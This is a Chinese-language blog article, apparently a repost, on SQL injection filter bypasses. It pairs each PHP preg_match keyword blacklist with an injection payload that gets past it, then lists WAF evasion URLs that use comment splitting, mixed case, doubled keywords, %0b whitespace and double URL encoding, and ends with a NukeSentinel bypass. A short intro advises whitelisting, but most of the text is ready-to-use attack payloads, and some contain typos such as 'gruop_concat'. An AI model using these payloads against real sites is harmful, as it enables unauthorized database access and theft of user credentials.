zoukankan      html  css  js  c++  java
  • PHP+Mysql注入防护与绕过

    今天给大家分享一个关于php常见的注入防护以及如何bypass的文章,文章内容来源国外某大佬总结,我做了一下整理,文章来源地址不详,下面正文开始。以下的方式也仅仅是针对黑名单的过滤有一定的效果,为了安全最好还是以白名单的方式对参数进行检测。

    黑名单关键字过滤与绕过


    过滤关键字and、or

    PHP匹配函数代码如下:

    preg_match('/(and|or)/i', $id)

    如何Bypass,过滤注入测试语句:

    1 or 1 = 1 1 and 1 = 1

    测试方法可以替换为如下语句测试:

    1 || 1 = 1 1 && 1 = 1

    过滤关键字and, or, union

    PHP匹配函数代码如下:

    preg_match('/(and|or|union)/i', $id)

    如何Bypass,过滤注入测试语句:

    union select user, password from users

    测试方法可以替换为如下语句测试:

    1 || (select user from users where user_id = 1) = 'admin'

    过滤关键字and, or, union,where

    PHP匹配函数代码如下:

    preg_match('/(and|or|union|where)/i', $id)

    如何Bypass,过滤注入测试语句:

    1 || (select user from users where user_id = 1) = 'admin'

    测试方法可以替换为如下语句测试:

    1 || (select user from users limit 1) = 'admin'

    过滤关键字and, or, union,where,limit

    PHP匹配函数代码如下:

    preg_match('/(and|or|union|where|limit)/i', $id)

    如何Bypass,过滤注入测试语句:

    1 || (select user from users limit 1) = 'admin'

    测试方法可以替换为如下语句测试:

    1 || (select user from users group by user_id having user_id = 1) = 'admin'

    过滤关键字and, or, union,where,limit,group by

    PHP匹配函数代码如下:

    preg_match('/(and|or|union|where|limit|group by)/i', $id)

    如何Bypass,过滤注入测试语句:

    1 || (select user from users group by user_id having user_id = 1) = 'admin'

    测试方法可以替换为如下语句测试:

    1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

    过滤关键字and, or, union,where,limit,group by,select

    PHP匹配函数代码如下:

    preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

    如何Bypass,过滤注入测试语句:

    1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

    测试方法可以替换为如下语句测试:

    1 || 1 = 1 into outfile 'result.txt'

    1 || substr(user,1,1) = 'a'

    过滤关键字and, or, union,where,limit,group by,select,'

    PHP匹配函数代码如下:

    preg_match('/(and|or|union|where|limit|group by|select|')/i', $id)

    如何Bypass,过滤注入测试语句:

    1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

    测试方法可以替换为如下语句测试:

    1 || user_id is not null

    1 || substr(user,1,1) = 0x61

    1 || substr(user,1,1) = unhex(61)

    过滤关键字and, or, union,where,limit,group by,select,',hex

    PHP匹配函数代码如下:

    preg_match('/(and|or|union|where|limit|group by|select|'|hex)/i', $id)

    如何Bypass,过滤注入测试语句:

    1 || substr(user,1,1) = unhex(61)

    测试方法可以替换为如下语句测试:

    1 || substr(user,1,1) = lower(conv(11,10,36))

    过滤关键字and, or, union,where,limit,group by,select,',hex,substr

    PHP匹配函数代码如下:

    preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr)/i', $id)

    如何Bypass,过滤注入测试语句:

    1 || substr(user,1,1) = lower(conv(11,10,36))

    测试方法可以替换为如下语句测试:

    1 || lpad(user,7,1)

    过滤关键字and, or, union,where,limit,group by,select,',hex, substr, white space

    PHP匹配函数代码如下:

    preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr|s)/i', $id)

    如何Bypass,过滤注入测试语句:

    1 || lpad(user,7,1)

    测试方法可以替换为如下语句测试:

    1%0b||%0blpad(user,7,1)

    部分WAF绕过技巧


    1、绕过部分WAF

    /news.php?id=1+un/*/ion+se/*/lect+1,2,3--

    2、匹配正则如下:

    /unionsselect/g

    绕过方式:

    /news.php?id=1+UnIoN//SeLecT//1,2,3--

    3、过滤一次关键字

    /news.php?id=1+UNunionION+SEselectLECT+1,2,3--

    4、关键字被过滤,有的时候可以用%0b插入关键字绕过

    /news.php?id=1+uni%0bon+se%0blect+1,2,3--

    5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替

    替换前:

    /main/news/id/1//||//lpad(first_name,7,1).html

    替换后:

    /main/news/id/1%0b||%0blpad(first_name,7,1).html

    6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试

    /news.php?id=1%252f%252a/union%252f%252a /select%252f%252a/1,2,3%252f%252a/from%252f%252a/users--

    真实的例子


    NukeSentinel

    Nukesentinel.php的代码如下:

    img

    针对上面的防护,使用如下测试语句将被拦截:

    /php-nuke/?//union//select…

    可以使用如下语句代替:

    /php-nuke/?/%2A%2A/union/%2A%2A/select…

    /php-nuke/?%2f%2funion%2f%2fselect…

  • 相关阅读:
    CF 1006C Three Parts of the Array【双指针/前缀和/后缀和/二分】
    经验笔记二
    CF 1006B Polycarp's Practice【贪心】
    CF 1003D Coins and Queries【位运算/硬币值都为2的幂/贪心】
    CF 1003C Intense Heat【前缀和/精度/双层暴力枚举】
    CF 1003B Binary String Constructing 【构造/找规律/分类讨论】
    CF 1005C Summarize to the Power of Two 【hash/STL-map】
    CF 1005B Delete from the Left 【模拟数组操作/正难则反】
    CF 1005A Tanya and Stairways 【STL】
    CF 1009A Game Shopping 【双指针/模拟】
  • 原文地址:https://www.cnblogs.com/dggsec/p/10126958.html
Copyright © 2011-2022 走看看